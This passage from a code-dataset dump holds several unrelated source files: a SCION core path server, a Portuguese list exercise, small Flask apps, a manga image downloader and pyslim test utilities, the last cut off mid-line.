self._segs_to_prop[pcb.get_hops_hash()] = (PST.DOWN, pcb)\n if (first_ia[0] == last_ia[0] == self.addr.isd_as[0] and not from_zk):\n # Sync all local down segs via zk\n self._segs_to_zk[pcb.get_hops_hash()] = (PST.DOWN, pcb)\n if added:\n return set([(last_ia, pcb.is_sibra())])\n return set()\n\n def _handle_core_segment_record(self, pcb, from_master=False,\n from_zk=False):\n \"\"\"Handle registration of a core segment.\"\"\"\n first_ia = pcb.first_ia()\n reverse = False\n if pcb.is_sibra() and first_ia == self.addr.isd_as:\n reverse = True\n added = self._add_segment(pcb, self.core_segments, \"Core\",\n reverse=reverse)\n if not from_zk and not from_master:\n if first_ia[0] == self.addr.isd_as[0]:\n # Local core segment, share via ZK\n self._segs_to_zk[pcb.get_hops_hash()] = (PST.CORE, pcb)\n else:\n # Remote core segment, send to master\n self._segs_to_master[pcb.get_hops_hash()] = (PST.CORE, pcb)\n if not added:\n return set()\n # Send pending requests that couldn't be processed due to the lack of\n # a core segment to the destination PS. Don't use SIBRA PCBs for that.\n if not pcb.is_sibra():\n self._handle_waiting_targets(pcb)\n ret = set([(first_ia, pcb.is_sibra())])\n if first_ia[0] != self.addr.isd_as[0]:\n # Remote core segment, signal the entire ISD\n ret.add((first_ia.any_as(), pcb.is_sibra()))\n return ret\n\n def _dispatch_params(self, pld, meta):\n params = {}\n if meta.ia == self.addr.isd_as and isinstance(pld, PathSegmentReply):\n params[\"from_master\"] = True\n return params\n\n def _propagate_and_sync(self):\n super()._propagate_and_sync()\n if self.zk.have_lock():\n self._prop_to_core()\n else:\n self._prop_to_master()\n\n def _prop_to_core(self):\n assert self.zk.have_lock()\n if not self._segs_to_prop:\n return\n logging.debug(\"Propagating %d segment(s) to other core ASes\",\n len(self._segs_to_prop))\n for pcbs in self._gen_prop_recs(self._segs_to_prop):\n recs = PathRecordsSync.from_values(pcbs)\n self._propagate_to_core_ases(recs)\n\n def _prop_to_master(self):\n assert not self.zk.have_lock()\n if not self._master_id:\n self._segs_to_master.clear()\n return\n if not self._segs_to_master:\n return\n logging.debug(\"Propagating %d segment(s) to master PS: %s\",\n len(self._segs_to_master), self._master_id)\n for pcbs in self._gen_prop_recs(self._segs_to_master):\n recs = PathRecordsSync.from_values(pcbs)\n self._send_to_master(recs)\n\n def _send_to_master(self, pld):\n \"\"\"\n Send the payload to the master PS.\n \"\"\"\n # XXX(kormat): Both of these should be very rare, as they are guarded\n # against in the two methods that call this one (_prop_to_master() and\n # _query_master(), but a race-condition could cause this to happen when\n # called from _query_master().\n if self.zk.have_lock():\n logging.warning(\"send_to_master: abandoning as we are master\")\n return\n master = self._master_id\n if not master:\n logging.warning(\"send_to_master: abandoning as there is no master\")\n return\n addr, port = master.addr(0)\n meta = self._build_meta(host=addr, port=port, reuse=True)\n self.send_meta(CtrlPayload(PathMgmt(pld.copy())), meta)\n\n def _query_master(self, dst_ia, logger, src_ia=None, flags=()):\n \"\"\"\n Query master for a segment.\n \"\"\"\n if self.zk.have_lock() or not self._master_id:\n return\n src_ia = src_ia or self.addr.isd_as\n # XXX(kormat) Requests forwarded to the master CPS should be cache-only, as they only happen\n # in the case where a core segment is missing or a local down-segment is missing, and there\n # is nothing to query if the master CPS doesn't already have the information.\n # This has the side-effect of preventing query loops that could occur when two non-master\n # CPSes each believe the other is the master, for example.\n sflags = set(flags)\n sflags.add(PATH_FLAG_CACHEONLY)\n flags = tuple(sflags)\n req = PathSegmentReq.from_values(random_uint64(), src_ia, dst_ia, flags=flags)\n logger.debug(\"Asking master (%s) for segment: %s\" % (self._master_id, req.short_desc()))\n self._send_to_master(req)\n\n def _propagate_to_core_ases(self, pld):\n \"\"\"\n Propagate 'pkt' to other core ASes.\n \"\"\"\n for isd_as in self._core_ases[self.addr.isd_as[0]]:\n if isd_as == self.addr.isd_as:\n continue\n csegs = self.core_segments(first_ia=isd_as,\n last_ia=self.addr.isd_as)\n if not csegs:\n logging.warning(\"Cannot propagate %s to AS %s. No path available.\" %\n (pld.NAME, isd_as))\n continue\n cseg = csegs[0].get_path(reverse_direction=True)\n meta = self._build_meta(ia=isd_as, path=cseg,\n host=SVCType.PS_A, reuse=True)\n self.send_meta(CtrlPayload(PathMgmt(pld.copy())), meta)\n\n def path_resolution(self, cpld, meta, new_request=True, logger=None):\n \"\"\"\n Handle generic type of a path request.\n new_request informs whether a pkt is a new request (True), or is a\n pending request (False).\n Return True when resolution succeeded, False otherwise.\n \"\"\"\n pmgt = cpld.union\n req = pmgt.union\n assert isinstance(req, PathSegmentReq), type(req)\n if logger is None:\n logger = self.get_request_logger(req, meta)\n dst_ia = req.dst_ia()\n if new_request:\n logger.info(\"PATH_REQ received\")\n REQS_TOTAL.labels(**self._labels).inc()\n if dst_ia == self.addr.isd_as:\n logger.warning(\"Dropping request: requested DST is local AS\")\n return False\n # dst as==0 means any core AS in the specified ISD\n dst_is_core = self.is_core_as(dst_ia) or dst_ia[1] == 0\n if dst_is_core:\n core_segs = self._resolve_core(\n req, meta, dst_ia, new_request, req.flags(), logger)\n down_segs = set()\n else:\n core_segs, down_segs = self._resolve_not_core(\n req, meta, dst_ia, new_request, req.flags(), logger)\n\n if not (core_segs | down_segs):\n if new_request:\n logger.debug(\"Segs to %s not found.\" % dst_ia)\n return False\n\n self._send_path_segments(req, meta, logger, core=core_segs, down=down_segs)\n return True\n\n def _resolve_core(self, req, meta, dst_ia, new_request, flags, logger):\n \"\"\"\n Dst is core AS.\n \"\"\"\n sibra = PATH_FLAG_SIBRA in flags\n params = {\"last_ia\": self.addr.isd_as}\n params[\"sibra\"] = sibra\n params.update(dst_ia.params())\n core_segs = set(self.core_segments(**params))\n if not core_segs and new_request and PATH_FLAG_CACHEONLY not in flags:\n # Segments not found and it is a new request.\n self.pending_req[(dst_ia, sibra)][req.req_id()] = (req, meta, logger)\n # If dst is in remote ISD then a segment may be kept by master.\n if dst_ia[0] != self.addr.isd_as[0]:\n self._query_master(dst_ia, logger, flags=flags)\n return core_segs\n\n def _resolve_not_core(self, seg_req, meta, dst_ia, new_request, flags, logger):\n \"\"\"\n Dst is regular AS.\n \"\"\"\n sibra = PATH_FLAG_SIBRA in flags\n core_segs = set()\n down_segs = set()\n # Check if there exists any down-segs to dst.\n tmp_down_segs = self.down_segments(last_ia=dst_ia, sibra=sibra)\n if not tmp_down_segs and new_request and PATH_FLAG_CACHEONLY not in flags:\n self._resolve_not_core_failed(seg_req, meta, dst_ia, flags, logger)\n\n for dseg in tmp_down_segs:\n dseg_ia = dseg.first_ia()\n if (dseg_ia == self.addr.isd_as or\n seg_req.src_ia()[0] != self.addr.isd_as[0]):\n # If it's a direct down-seg, or if it's a remote query, there's\n # no need to include core-segs\n down_segs.add(dseg)\n continue\n # Now try core segments that connect to down segment.\n tmp_core_segs = self.core_segments(\n first_ia=dseg_ia, last_ia=self.addr.isd_as, sibra=sibra)\n if not tmp_core_segs and new_request and PATH_FLAG_CACHEONLY not in flags:\n # Core segment not found and it is a new request.\n self.pending_req[(dseg_ia, sibra)][seg_req.req_id()] = (seg_req, meta, logger)\n if dst_ia[0] != self.addr.isd_as[0]:\n # Master may know a segment.\n self._query_master(dseg_ia, logger, flags=flags)\n elif tmp_core_segs:\n down_segs.add(dseg)\n core_segs.update(tmp_core_segs)\n return core_segs, down_segs\n\n def _resolve_not_core_failed(self, seg_req, meta, dst_ia, flags, logger):\n \"\"\"\n Execute after _resolve_not_core() cannot resolve a new request, due to\n lack of corresponding down segment(s).\n This must not be executed for a pending request.\n \"\"\"\n sibra = PATH_FLAG_SIBRA in flags\n self.pending_req[(dst_ia, sibra)][seg_req.req_id()] = (seg_req, meta, logger)\n if dst_ia[0] == self.addr.isd_as[0]:\n # Master may know down segment as dst is in local ISD.\n self._query_master(dst_ia, logger, flags=flags)\n return\n\n # Dst is in a remote ISD, ask any core AS from there. Don't use a SIBRA\n # segment, even if the request has the SIBRA flag set, as this is just\n # for basic internal communication.\n csegs = self.core_segments(\n first_isd=dst_ia[0], last_ia=self.addr.isd_as)\n if csegs:\n cseg = csegs[0]\n path = cseg.get_path(reverse_direction=True)\n dst_ia = cseg.first_ia()\n logger.info(\"Down-Segment request for different ISD, \"\n \"forwarding request to CPS in %s via %s\" %\n (dst_ia, cseg.short_desc()))\n meta = self._build_meta(ia=dst_ia, path=path,\n host=SVCType.PS_A, reuse=True)\n self.send_meta(CtrlPayload(PathMgmt(seg_req)), meta)\n else:\n # If no core segment was available, add request to waiting targets.\n logger.info(\"Waiting for core segment to ISD %s\", dst_ia[0])\n self.waiting_targets[dst_ia[0]].append((seg_req, logger))\n # Ask for any segment to dst_isd\n self._query_master(dst_ia.any_as(), logger)\n\n def _forward_revocation(self, rev_info, meta):\n # Propagate revocation to other core ASes if:\n # 1) The revoked interface belongs to this AS, or\n # 2) the revocation was received from a non-core AS in this ISD, or\n # 3) the revocation was forked from a BR and it originated from a\n # different ISD.\n rev_isd_as = rev_info.isd_as()\n if (rev_isd_as == self.addr.isd_as or\n (meta.ia not in self._core_ases[self.addr.isd_as[0]]) or\n (meta.ia == self.addr.isd_as and\n rev_isd_as[0] != self.addr.isd_as[0])):\n logging.debug(\"Propagating revocation to other cores: %s\"\n % rev_info.short_desc())\n self._propagate_to_core_ases(rev_info)\n\n def _init_metrics(self):\n super()._init_metrics()\n SEGS_TO_MASTER.labels(**self._labels).set(0)\n SEGS_TO_PROP.labels(**self._labels).set(0)\n\n def _update_metrics(self):\n super()._update_metrics()\n if self._labels:\n SEGS_TO_MASTER.labels(**self._labels).set(len(self._segs_to_master))\n SEGS_TO_PROP.labels(**self._labels).set(len(self._segs_to_prop))\n","sub_path":"python/path_server/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":17379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"407582459","text":"'''\r\nFaça um Programa que leia 20 números inteiros e armazene-os num vetor. Armazene os números pares no vetor PAR e os números IMPARES no vetor impar. Imprima os três vetores.\r\n'''\r\n\r\n\r\ndef mostraListaSeq(lista):\r\n for pos, valor in enumerate(lista):\r\n if pos != len(lista) - 1:\r\n print(valor, end=\", \")\r\n else:\r\n print(valor, end=\".\\n\")\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n # Preenche o vetor de 20 índices\r\n listaNumeros = list()\r\n for i in range(20):\r\n numero = int(input('Insira o %sº número interiro: ' %(i + 1)))\r\n listaNumeros.append(numero)\r\n\r\n # Separa valores pares e ímpares\r\n listaPar = list(filter(lambda x: x % 2 == 0, listaNumeros))\r\n listaImpar = list(filter(lambda x: x % 2 != 0, listaNumeros))\r\n\r\n # Mostra primeira lista\r\n print('Números inteiros inseridos: ', end=\"\")\r\n mostraListaSeq(listaNumeros)\r\n\r\n # Mostra lista par\r\n print('Números pares inseridos: ', end=\"\")\r\n mostraListaSeq(listaPar)\r\n\r\n # Mostra lista ímpar\r\n print('Números ímpares inseridos: ', end=\"\")\r\n mostraListaSeq(listaImpar)\r\n","sub_path":"Lista de Exercícios/03 - Listas/ex005.py","file_name":"ex005.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"252345730","text":"#!/usr/bin/python\n\nimport os\nimport terrain\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/bg.css')\ndef bg_css():\n ua = request.headers.get('User-Agent')\n s = terrain.make_seed(ua)\n image = terrain.imagestring(s)\n return \"\"\"\n html {\n background-image:url('%s');\n background-size:cover;\n background-position:center;\n background-repeat:no-repeat;\n }\"\"\" % image\n\n@app.route('/')\ndef hello():\n return ' ' \\\n ''\\\n '

    Hack Nights

    ' \\\n '

    Tuesdays at 6pm. All welcome!

    '\\\n '

    Queen\\'s Centre Third Floor behind the stairs.

    '\\\n '
      '\\\n '
    • Jan 22nd hack: confirmed.
    • '\\\n '
    '\\\n ''\n\nif __name__ == '__main__':\n # Bind to PORT if defined, otherwise default to 5000.\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"634573308","text":"#!/usr/bin/env python3\n# @Author: Annoys-Parrot\n# @Date: 2016-07-21T12:12:26+02:00\n# @Last modified by: archjules\n# @Last modified time: 2016-07-22T20:11:29+02:00\n\n#-----------------------------------\n# Import libraries\n#-----------------------------------\nimport os, zipfile, urllib\nfrom bs4 import BeautifulSoup\nfrom functions import download, pad_zeros, make_parser\n\ndef main():\n parser = make_parser()\n args = parser.parse_args()\n\n manga = args.manga_name\n site = args.site\n\n base_path = site+manga+'/'\n folder_name = manga.replace('_',' ').title()\n\n if not os.path.exists(folder_name):\n os.makedirs(folder_name) # Create the manga folder\n\n for n_volume in range(args.fr, args.to):\n # Get the volume string\n str_volume = pad_zeros(str(n_volume),3) # Ex: \"001\"\n filename_volume = \"{}/Volume {}.cbz\".format(folder_name, str_volume)\n\n zip_volume = zipfile.ZipFile(filename_volume, \"w\")\n\n url = base_path+str_volume\n\n for page in range(1,9999):\n # HTML request + souping\n try:\n html = urllib.request.urlopen(url).read() # We get the HTML of the page\n soup = BeautifulSoup(html, 'html.parser') # We cook it into a soup\n image_path = soup.find(\"img\", class_=\"picture\")['src'] # Image URL\n abs_image_path = site+image_path\n except TypeError:\n if page == 1:\n print(\"Volume {} does not exist. Exiting.\".format(n_volume, url))\n else:\n print(\"An error occured while downloading page {} of volume {}. Exiting …\".format(page, n_volume))\n exit()\n # Naming file\n str_page = pad_zeros(str(page),3)\n filename = '{}.jpg'.format(page)\n\n # Downloading page\n zip_volume.writestr(filename, urllib.request.urlopen(abs_image_path.replace(\" \",\"%20\")).read())\n print('Page {} of volume {} has been downloaded'.format(page, n_volume))\n\n # Search for next page\n next_a = soup.find(lambda c: 'Next Page' in str(c), href=True)\n\n if next_a:\n url = site + next_a['href']\n else:\n break\n zip_volume.close()\n\nif __name__ == \"__main__\":\n main()\n print(\"Done !\")\n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"466515329","text":"import datetime\n\nfrom flask import Flask, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///accounts.sqlite3'\n\n# Descomentar para usar mysql con las credenciales y la base de datos correspondientes\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://username:password@localhost/db_name'\n\ndb = SQLAlchemy(app)\n\n\nclass Account(db.Model):\n __tablename__ = 'accounts'\n id = db.Column('id', db.Integer, primary_key=True)\n file_number = db.Column(db.String(100))\n last_read = db.Column(db.DateTime)\n blood = db.Column(db.String(10))\n allergies = db.relationship('Allergy', backref='account')\n\n\nclass Allergy(db.Model):\n __tablename__ = 'allergies'\n id = db.Column('id', db.Integer, primary_key=True)\n name = db.Column(db.String(50))\n created_at = db.Column(db.DateTime)\n medicine = db.Column(db.String(300))\n account_id = db.Column(db.Integer, db.ForeignKey('accounts.id'))\n\n\n@app.route('/demo/v1/accounts//record')\ndef record(id):\n _account = Account.query.filter_by(id=id).first()\n\n if not _account:\n return jsonify({'codigo': 400, 'mensaje': 'El id de usuario no existe'})\n\n _account.last_read = datetime.datetime.now()\n db.session.commit()\n\n result = {\n 'codigo': 200,\n 'mensaje': 'Petición completada',\n 'payload': {\n 'no_expediente': _account.file_number,\n 'tipo_sangre': _account.blood,\n 'fecha_ultima_consulta': _account.last_read.strftime('%d/%m/%Y'),\n 'alergias': []\n }\n }\n\n if _account.allergies:\n for allergy in _account.allergies:\n result['payload']['alergias'].append({\n 'nombre': allergy.name,\n 'fecha_alta': allergy.created_at.strftime('%d/%m/%Y'),\n 'medicamento': allergy.medicine\n })\n\n return jsonify(result)\n\n\nif __name__ == \"__main__\":\n db.create_all()\n\n ''' Crear datos de prueba'''\n account = Account()\n account.file_number = '12345'\n account.blood = 'A'\n db.session.add(account)\n db.session.commit()\n allergy = Allergy()\n allergy.name = 'Rinitivis'\n allergy.created_at = datetime.datetime.now()\n allergy.medicine = 'Aspirin 100mg'\n allergy.account_id = account.id\n db.session.add(allergy)\n db.session.commit()\n\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"390112478","text":"\"\"\"\nCommon code for the pyslim test cases.\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\n\nimport pyslim\nimport tskit\nimport msprime\nimport random\nimport unittest\nimport pytest\nimport base64\nimport os\nimport attr\nimport json\nimport numpy as np\n\n# possible attributes to simulation scripts are\n# WF, nonWF\n# nucleotides\n# everyone: records everyone ever\n# pedigree: writes out accompanying info file containing the pedigree\n# remembered_early: remembering and saving the ts happens during early\n# multipop: has more than one population\n# All files are of the form `tests/examples/{key}.slim`\nexample_files = {}\nexample_files['recipe_nonWF'] = {\"nonWF\": True, \"pedigree\": True}\nexample_files['recipe_long_nonWF'] = {\"nonWF\": True}\nexample_files['recipe_WF'] = {\"WF\": True, \"pedigree\": True}\nexample_files['recipe_long_WF'] = {\"WF\": True}\nexample_files['recipe_WF_migration'] = {\"WF\": True, \"pedigree\": True, \"multipop\": True}\nexample_files['recipe_nonWF_early'] = {\"nonWF\": True, \"pedigree\": True, \"remembered_early\": True}\nexample_files['recipe_WF_early'] = {\"WF\": True, \"pedigree\": True, \"remembered_early\": True}\nexample_files['recipe_nucleotides'] = {\"WF\": True, \"pedigree\": True, \"nucleotides\": True}\nexample_files['recipe_long_nucleotides'] = {\"WF\": True, \"nucleotides\": True}\nexample_files['recipe_roots'] = {\"WF\": True, \"pedigree\": True}\nexample_files['recipe_nonWF_selfing'] = {\"nonWF\": True, \"pedigree\": True}\nexample_files['recipe_init_mutated_WF'] = {\"WF\": True, \"init_mutated\": True}\nexample_files['recipe_init_mutated_nonWF'] = {\"nonWF\": True, \"init_mutated\": True}\nexample_files['recipe_with_metadata'] = {\"user_metadata\": True}\nfor t in (\"WF\", \"nonWF\"):\n for s in (\"early\", \"late\"):\n value = {t: True, \"everyone\": True, \"pedigree\": True}\n if s == 'early':\n value['remembered_early'] = True\n example_files[f'recipe_record_everyone_{t}_{s}'] = value\n\n\nfor f in example_files:\n example_files[f]['basename'] = os.path.join(\"tests\", \"examples\", f)\n\n\n# These SLiM scripts read in an existing trees file; the \"input\" gives a .trees files produced\n# by recipes above that is appropriate for starting this script.\nrestart_files = {}\nfor t in (\"WF\", \"nonWF\"):\n # recipes that read in and write out immediately (\"no_op\")\n value = {t: True, \"no_op\": True, \"input\": f\"tests/examples/recipe_{t}.trees\"}\n restart_files[f'restart_{t}'] = value\nrestart_files['restart_nucleotides'] = {\"WF\": True, \"nucleotides\": True, \"no_op\": True, \"input\": f\"tests/examples/recipe_nucleotides.trees\"}\nrestart_files['restart_and_run_WF'] = {\"WF\": True, \"input\": \"recipe_init_mutated.trees\"}\nrestart_files['restart_and_run_nonWF'] = {\"nonWF\": True, \"input\": \"recipe_init_mutated.trees\"}\n\nfor f in restart_files:\n restart_files[f]['basename'] = os.path.join(\"tests\", \"examples\", f)\n\n\ndef run_slim_script(slimfile, seed=23, **kwargs):\n outdir = os.path.dirname(slimfile)\n script = os.path.basename(slimfile)\n args = f\"-s {seed}\"\n for k in kwargs:\n x = kwargs[k]\n if x is not None:\n if isinstance(x, str):\n x = f\"'{x}'\"\n if isinstance(x, bool):\n x = 'T' if x else 'F'\n args += f\" -d \\\"{k}={x}\\\"\"\n command = \"cd \\\"\" + outdir + \"\\\" && slim \" + args + \" \\\"\" + script + \"\\\" >/dev/null\"\n print(\"running: \", command)\n out = os.system(command)\n return out\n\n\nclass PyslimTestCase:\n '''\n Base class for test cases in pyslim.\n '''\n\n def verify_haplotype_equality(self, ts, slim_ts):\n assert ts.num_sites == slim_ts.num_sites\n for j, v1, v2 in zip(range(ts.num_sites), ts.variants(),\n slim_ts.variants()):\n g1 = [v1.alleles[x] for x in v1.genotypes]\n g2 = [v2.alleles[x] for x in v2.genotypes]\n assert np.array_equal(g1, g2)\n\n def get_slim_example(self, name, return_info=False):\n ex = example_files[name]\n treefile = ex['basename'] + \".trees\"\n print(\"---->\", treefile)\n assert os.path.isfile(treefile)\n ts = pyslim.load(treefile)\n if return_info:\n infofile = treefile + \".pedigree\"\n if os.path.isfile(infofile):\n ex['info'] = self.get_slim_info(infofile)\n else:\n ex['info'] = None\n out = (ts, ex)\n else:\n out = ts\n return out\n\n def get_slim_examples(self, return_info=False, **kwargs):\n num_examples = 0\n for name, ex in example_files.items():\n use = True\n for a in kwargs:\n if a in ex:\n if ex[a] != kwargs[a]:\n use = False\n else:\n if kwargs[a] != False:\n use = False\n if use:\n num_examples += 1\n yield self.get_slim_example(name, return_info=return_info)\n assert num_examples > 0\n\n def get_slim_restarts(self, **kwargs):\n # Loads previously produced tree sequences and SLiM scripts\n # appropriate for restarting from these tree sequences.\n for exname in restart_files:\n ex = restart_files[exname]\n use = True\n for a in kwargs:\n if a not in ex or ex[a] != kwargs[a]:\n use = False\n if use:\n basename = ex['basename']\n treefile = ex['input']\n print(f\"restarting {treefile} as {basename}\")\n assert os.path.isfile(treefile)\n ts = pyslim.load(treefile)\n yield ts, basename\n\n def run_slim_restart(self, in_ts, basename, **kwargs):\n # Saves out the tree sequence to the trees file that the SLiM script\n # basename.slim will load from.\n infile = basename + \".init.trees\"\n outfile = basename + \".trees\"\n slimfile = basename + \".slim\"\n for treefile in infile, outfile:\n try:\n os.remove(treefile)\n except FileNotFoundError:\n pass\n in_ts.dump(infile)\n if 'STAGE' not in kwargs:\n kwargs['STAGE'] = in_ts.metadata['SLiM']['stage']\n out = run_slim_script(slimfile, **kwargs)\n try:\n os.remove(infile)\n except FileNotFoundError:\n pass\n assert out == 0\n assert os.path.isfile(outfile)\n out_ts = pyslim.load(outfile)\n try:\n os.remove(outfile)\n except FileNotFoundError:\n pass\n return out_ts\n\n def run_msprime_restart(self, in_ts, sex=None, WF=False):\n basename = \"tests/examples/restart_msprime\"\n out_ts = self.run_slim_restart(\n in_ts, basename, WF=WF, SEX=sex, L=int(in_ts.sequence_length))\n return out_ts\n\n def get_msprime_examples(self):\n # NOTE: we use DTWF below to avoid rounding of floating-point times\n # that occur with a continuous-time simulator\n demographic_events = [\n msprime.MassMigration(\n time=5, source=1, destination=0, proportion=1.0)\n ]\n seed = 6\n for n in [2, 10, 20]:\n for mutrate in [0.0]:\n for recrate in [0.0, 0.01]:\n yield msprime.simulate(n, mutation_rate=mutrate,\n recombination_rate=recrate,\n length=200, random_seed=seed,\n model=\"dtwf\")\n seed += 1\n population_configurations =[\n msprime.PopulationConfiguration(\n sample_size=n, initial_size=100),\n msprime.PopulationConfiguration(\n sample_size=n, initial_size=100)\n ]\n yield msprime.simulate(\n population_configurations=population_configurations,\n demographic_events=demographic_events,\n recombination_rate=recrate,\n mutation_rate=mutrate,\n length=250, random_seed=seed,\n model=\"dtwf\")\n seed += 1\n\n def get_slim_info(self, fname):\n # returns a dictionary whose keys are SLiM individual IDs, and whose values\n # are dictionaries with two entries:\n # - 'parents' is the SLiM IDs of the parents\n # - 'age' is a dictionary whose keys are tuples (SLiM generation, stage)\n # and whose values are ages (keys not present are ones the indivdiual was\n # not alive for)\n assert os.path.isfile(fname)\n out = {}\n with open(fname, 'r') as f:\n header = f.readline().split()\n assert header == ['generation', 'stage', 'individual', 'age', 'parent1', 'parent2']\n for line in f:\n gen, stage, ind, age, p1, p2 = line.split()\n gen = int(gen)\n ind = int(ind)\n age = int(age)\n parents = tuple([int(p) for p in (p1, p2) if p != \"-1\"])\n if ind not in out:\n out[ind] = {\n \"parents\" : parents,\n \"age\" : {}\n }\n else:\n for p in parents:\n assert p in out[ind]['parents']\n out[ind]['age'][(gen, stage)] = age\n return out\n\n def assertTablesEqual(self, t1, t2, label=''):\n # make it easy to see what's wrong\n if hasattr(t1, \"metadata_schema\"):\n if t1.metadata_schema != t2.metadata_schema:\n print(f\"{label} :::::::::: t1 ::::::::::::\")\n print(t1.metadata_schema)\n print(f\"{label} :::::::::: t2 ::::::::::::\")\n print(t2.metadata_schema)\n assert t1.metadata_schema == t2.metadata_schema\n if t1.num_rows != t2.num_rows:\n print(f\"{label}: t1.num_rows {t1.num_rows} != {t2.num_rows} t2.num_rows\")\n for k, (e1, e2) in enumerate(zip(t1, t2)):\n if e1 != e2:\n print(f\"{label} :::::::::: t1 ({k}) ::::::::::::\")\n print(e1)\n print(f\"{label} :::::::::: t2 ({k}) ::::::::::::\")\n print(e2)\n assert e1 == e2\n assert t1.num_rows == t2.num_rows\n assert t1 == t2\n\n def assertMetadataEqual(self, t1, t2):\n # check top-level metadata, first the parsed version:\n assert t1.metadata_schema == t2.metadata_schema\n assert t1.metadata == t2.metadata\n # and now check the underlying bytes\n # TODO: use the public interface if https://github.com/tskit-dev/tskit/issues/832 happens\n md1 = t1._ll_tables.metadata\n md2 = t2._ll_tables.metadata\n assert md1 == md2\n\n def verify_trees_equal(self, ts1, ts2):\n # check that trees are equal by checking MRCAs between randomly\n # chosen nodes with matching slim_ids\n random.seed(23)\n assert ts1.sequence_length == ts2.sequence_length\n if isinstance(ts1, tskit.TableCollection):\n ts1 = ts1.tree_sequence()\n if isinstance(ts2, tskit.TableCollection):\n ts2 = ts2.tree_sequence()\n map1 = {}\n for j, n in enumerate(ts1.nodes()):\n if n.metadata is not None:\n map1[n.metadata['slim_id']] = j\n map2 = {}\n for j, n in enumerate(ts2.nodes()):\n if n.metadata is not None:\n map2[n.metadata['slim_id']] = j\n assert set(map1.keys()) == set(map2.keys())\n sids = list(map1.keys())\n for sid in sids:\n n1 = ts1.node(map1[sid])\n n2 = ts2.node(map2[sid])\n assert n1.time == n2.time\n assert n1.metadata == n2.metadata\n i1 = ts1.individual(n1.individual)\n i2 = ts2.individual(n2.individual)\n assert i1.metadata == i2.metadata\n for _ in range(10):\n pos = random.uniform(0, ts1.sequence_length)\n t1 = ts1.at(pos)\n t2 = ts2.at(pos)\n for _ in range(10):\n a, b = random.choices(sids, k=2)\n assert t1.tmrca(map1[a], map1[b]) == t2.tmrca(map2[a], map2[b])\n\n def assertTableCollectionsEqual(self, t1, t2,\n skip_provenance=False, check_metadata_schema=True,\n reordered_individuals=False):\n if isinstance(t1, tskit.TreeSequence):\n t1 = t1.tables\n if isinstance(t2, tskit.TreeSequence):\n t2 = t2.tables\n t1_samples = [(n.metadata['slim_id'], j) for j, n in enumerate(t1.nodes) if (n.flags & tskit.NODE_IS_SAMPLE)]\n t1_samples.sort()\n t2_samples = [(n.metadata['slim_id'], j) for j, n in enumerate(t2.nodes) if (n.flags & tskit.NODE_IS_SAMPLE)]\n t2_samples.sort()\n t1.simplify([j for (_, j) in t1_samples], record_provenance=False)\n t2.simplify([j for (_, j) in t2_samples], record_provenance=False)\n if skip_provenance is True:\n t1.provenances.clear()\n t2.provenances.clear()\n if skip_provenance == -1:\n assert t1.provenances.num_rows + 1 == t2.provenances.num_rows\n t2.provenances.truncate(t1.provenances.num_rows)\n assert t1.provenances.num_rows == t2.provenances.num_rows\n if check_metadata_schema:\n # this is redundant now, but will help diagnose if things go wrong\n assert t1.metadata_schema.schema == t2.metadata_schema.schema\n assert t1.populations.metadata_schema.schema == t2.populations.metadata_schema.schema\n assert t1.individuals.metadata_schema.schema == t2.individuals.metadata_schema.schema\n assert t1.nodes.metadata_schema.schema == t2.nodes.metadata_schema.schema\n assert t1.edges.metadata_schema.schema == t2.edges.metadata_schema.schema\n assert t1.sites.metadata_schema.schema == t2.sites.metadata_schema.schema\n assert t1.mutations.metadata_schema.schema == t2.mutations.metadata_schema.schema\n assert t1.migrations.metadata_schema.schema == t2.migrations.metadata_schema.schema\n if not check_metadata_schema:\n # need to pull out metadata to compare as dicts before zeroing the schema\n m1 = t1.metadata\n m2 = t2.metadata\n ms = tskit.MetadataSchema(None)\n for t in (t1, t2):\n t.metadata_schema = ms\n t.populations.metadata_schema = ms\n t.individuals.metadata_schema = ms\n t.nodes.metadata_schema = ms\n t.edges.metadata_schema = ms\n t.sites.metadata_schema = ms\n t.mutations.metadata_schema = ms\n t.migrations.metadata_schema = ms\n t1.metadata = b''\n t2.metadata = b''\n assert m1 == m2\n if reordered_individuals:\n ind1 = {i.metadata['pedigree_id']: j for j, i in enumerate(t1.individuals)}\n ind2 = {i.metadata['pedigree_id']: j for j, i in enumerate(t2.individuals)}\n for pid in ind1:\n if not pid in ind2:\n print(\"not in t2:\", ind1[pid])\n assert pid in ind2\n if t1.individuals[ind1[pid]] != t2.individuals[ind2[pid]]:\n print(\"t1:\", t1.individuals[ind1[pid]])\n print(\"t2:\", t2.individuals[ind2[pid]])\n assert t1.individuals[ind1[pid]] == t2.individuals[ind2[pid]]\n for pid in ind2:\n if not pid in ind1:\n print(\"not in t1:\", ind2[pid])\n assert pid in ind1\n t1.individuals.clear()\n t2.individuals.clear()\n # go through one-by-one so we know which fails\n self.assertTablesEqual(t1.populations, t2.populations, \"populations\")\n self.assertTablesEqual(t1.individuals, t2.individuals, \"individuals\")\n self.assertTablesEqual(t1.nodes, t2.nodes, \"nodes\")\n self.assertTablesEqual(t1.edges, t2.edges, \"edges\")\n self.assertTablesEqual(t1.sites, t2.sites, \"sites\")\n self.assertTablesEqual(t1.mutations, t2.mutations, \"mutations\")\n self.assertTablesEqual(t1.migrations, t2.migrations, \"migrations\")\n self.assertTablesEqual(t1.provenances, 